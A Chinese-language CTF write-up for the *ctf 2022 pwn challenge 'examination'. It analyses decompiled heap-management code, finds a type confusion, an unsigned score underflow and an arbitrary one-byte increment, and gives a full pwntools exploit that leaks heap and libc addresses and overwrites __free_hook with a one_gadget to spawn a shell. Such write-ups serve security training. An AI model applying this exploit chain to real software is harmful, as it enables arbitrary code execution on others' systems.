# from 2022.4.18 *ctf pwn examination

# 保护:

1
2
3
4
5
6
7
dreamcat@ubuntu:~/Desktop/*ctf/examin$ checksec --file=examination
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enabled PIE enabled

RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RPATH RW-RUNPATH No Symbols No 0 2 examination

# 过程

程序,进行了不同的模式,teacher 或者 student,

# 重要的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00000000 student         struc ; (sizeof=0x20, mappedto_8)					/chunksize=0x31
00000000 stu dq ? ; offset
00000008 nop dq ?
00000010 mode dq ? ; offset /mode chunkszie =0x31
00000018 Type dd ?
0000001C win dd ?
00000020 student ends
00000020
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 info struc ; (sizeof=0x14, mappedto_9) /chunksize=0x31
00000000 nums_qestion dd ?
00000004 score dd ?
00000008 comment dq ? ; offset
00000010 size dd ?
00000014 info ends
00000014

按照惯例,我们首先要看的就是对于堆块的输入是否存在着溢出,

在 teacher 模式下,可以写 commend,但是因为要求你写入 size,并根据 size 大小 calloc,这里目前是不存在溢出的

另外一个是在 student 模式下 set mode,这里 calloc 0x20 大小的 chunk,然后读入 0X20 数据,也不存在溢出。

但是我们审计这里发现,判断程序是进行读入 mode 还是预测 pray score,是根据 student 结构体中的 type 判断,而 type 又可以利用 pray 进行操作,type^=1。同时 pray sore 保存的地址与 mode 保存地址一致。所以这里存在任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 __fastcall set_mode(int a1)
{
student *v1; // rbx
int v3; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]

v4 = __readfsqword(0x28u);
if ( nlist[a1]->Type != 1 )
{
if ( !nlist[a1]->mode )
{
v1 = nlist[a1];
v1->mode = calloc(1uLL, 0x20uLL);
}
puts("enter your mode!");
read(0, nlist[a1]->mode, 0x20uLL);
goto LABEL_9;
}
puts("enter your pray score: 0 to 100");
__isoc99_scanf("%d", &v3);
if ( v3 >= 0 && v3 <= 100 )
{
LOBYTE(nlist[a1]->mode) = v3;
LABEL_9:
puts("finish");
return __readfsqword(0x28u) ^ v4;
}
puts("bad!");
return __readfsqword(0x28u) ^ v4;
}


int __fastcall pray(int a1)
{
puts("prayer...Good luck to you");
nlist[a1]->Type ^= 1u;
return puts("finish");
}

当我们继续继续审计代码,发现 student 的 check rewiew 存在任意地址加一。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall checkfor_rewiew(int a1)
{
_BYTE *v1; // rax
char address[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( nlist[a1]->win == 1 )
{
puts("already gained the reward!");
}
else
{
if ( nlist[a1]->stu->score > 0x59u )
{
printf("Good Job! Here is your reward! %p\n", nlist[a1]);
printf("add 1 to wherever you want! addr: ");// 任意地址加1
read_addr(0, address, 16);
v1 = (_BYTE *)atol(address);
++*v1;
nlist[a1]->win = 1;
}
if ( nlist[a1]->stu->comment )
{
puts("here is the review:");
write(1, nlist[a1]->stu->comment, nlist[a1]->stu->size);
}
else
{
puts("no reviewing yet!");
}
}
return __readfsqword(0x28u) ^ v4;
}

看到这里时,我有想到将 student comment 的 size 进行加一,或者将 student win 加(但是没啥用好像)。

再来,我们还需要关注 free,程序只给了我们三次机会,而且只是将 list 中保留的 student 结构体指针清空,而没有清空其他的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
puts("which student id to choose?");
read(0, buf, 5uLL);
idx = atoi(buf);
if ( idx >= 0 && idx <= 9 && nlist[idx] )
{
printf("bad luck for student %d! Say goodbye to him/her!", (unsigned int)idx);
if ( nlist[idx]->stu->message )
free(nlist[idx]->stu->message);
free(nlist[idx]->stu);
free(nlist[idx]);
nlist[idx] = 0LL;
--count;
}

接下来思考程序对于堆块数据的输出。只有在 student 模式的 check review 可以输出 comment。

# 着手漏洞

# 泄露地址

check review 有机会直接输出 student 的地址,但是分数需要够 96, 但是正常情况下是不可以的,因为 question 只能是 0~6,但是我们发现,如果学生进行过 pre,再次打分,就会被扣 10 分,而且数据比较的时候是无符号数,所以只要 question 数为 1,在 pray,被扣 10 分就会成为一个大数。输出 chunk 的地址。这里也解决了一个问题就是,因为我们释放次数有限,而且堆块大小也不可以超过 0x3ff,free 后 chunk 全部进入 tcache,没法泄露 libc,所以我们利用任意地址(一字节的数据类型)加 1,可以将一个 chunk 变得很大,free 后就可以进入 unsortedbin,后面可以申请出来,即使 tcache, 存在,也会优先使用 unsortedbin. 所以我们只要后面 write review 的时候,size<=8, 就可以保留 bk 指针不被修改。但是这里我们可以用更简单的方式,直接将 size 变得更大,(两个方法都要修改保存的 comment size),直接越界输出 main_arena。

后面就是一个常规的想法,因为 chunk 上有 comment 的指针,所以我们利用上面的溢出,将指针改写为 free_hook,然后再编辑该 review,把 onegadget 写入。最后 free 实际就是调用 execve ().

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import  *
context.log_level = 'debug'
r= process('./examination')
elf =ELF('examination')
free_got = elf.got['free']
def ch(i):
r.sendlineafter("choice>>",str(i))

def changerole(i):
ch(5)
r.sendlineafter("role:",str(i))
def givescore():
ch(2)


def addstudent(i):
ch(1)
r.sendlineafter("questions:",str(i))

def writereview(idx,size,text):
ch(3)
r.sendlineafter("one",str(idx))
if size:
r.sendlineafter("comment",str(size))
if len(text)==size:
r.sendafter("comment",text)
else :
r.sendlineafter("comment",text)

def callparent(idx):
ch(4)
r.sendlineafter("choose",str(idx))

def pray():
ch(3)

def setmode(text):
ch(4)
r.sendafter("mode",text+b'\n')
def pray_score(num):
ch(4)
r.sendlineafter("score",str(num))

def changeid(i):
ch(6)
r.sendlineafter("id",str(i))

#leak heap_addr

r.sendline("0")
addstudent(1)
givescore()
writereview(0,0x310,"aaaaaaa")
changerole(1)
pray()
changerole(0)
addstudent(1)
pad = b'A'*0xa0+p64(0)+p64(0x271)+b'AAAAAAAA'

writereview(1,0x310,"aaaaaaaa")

addstudent(1)
writereview(2,0x310,pad)
addstudent(1)
writereview(3,0x20,"bbbbbbbb")
changerole(1)
changeid(1)
pray()
changeid(2)
pray()
changeid(3)
pray()
changerole(0)
givescore()
changerole(1)
ch(2)
r.recvuntil("Good Job! Here is your reward! ")
heap_addr = int(r.recvuntil('\n',drop=True),16)-0x10
print("heap_addr : ",hex(heap_addr))
aimed = (heap_addr+0x3c9)
print("aimed : ",hex(aimed))
r.sendafter("addr","00"+str(aimed))

#new student ,free to tcaceh
r.sendline('3')
changerole(0)

callparent(1)
addstudent(1)
writereview(3,0x18,'a'*0x18)
changerole(1)
changeid(2)
#gdb.attach(r)
ch(2)
aimed = heap_addr+0x411
r.sendafter("addr","00"+str(aimed))
changeid(3)
ch(2)
r.recvuntil(b'\x00'*6)
libcbase = u64(r.recv(6).ljust(8,b'\x00'))-0x1ecbe0
print("libc : ",hex(libcbase))
environ =libcbase- 0x1ef600
malloc_hook = libcbase + 0x1ecb70
free_hook = libcbase + 0x1eee48
onegadget = libcbase + 0xe3b31
#onegadget = 0xcafebabedeadbeef
changerole(0)


#we have already leak the libc address,
#but next how can we realize write anywhere


addstudent(1)
writereview(4,0x10,"CCCC")
pad = b'x'*0x18+p64(0x31)
pad += p64(heap_addr+0x470)+p64(0)*4
pad += p64(0x21)+p64(1)+p64(free_hook)
writereview(3,0,pad)
writereview(4,0,p64(onegadget))
callparent(0)

r.interactive()

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal